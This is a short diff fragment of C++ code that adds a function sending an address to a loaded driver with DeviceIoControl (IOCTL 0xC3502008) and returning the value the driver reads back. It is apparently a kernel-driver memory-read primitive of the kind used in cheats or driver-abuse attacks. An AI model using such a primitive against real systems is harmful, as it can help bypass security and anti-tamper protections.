+		uintptr_t in_buffer = addr;
+		uintptr_t out_buffer[2] = {sizeof(out_buffer)};
 
-	static HANDLE drv_handle = load_drv();
-}
+		unsigned long returned = NULL;
+		DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
+			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
+		return out_buffer[0];
+	}
+}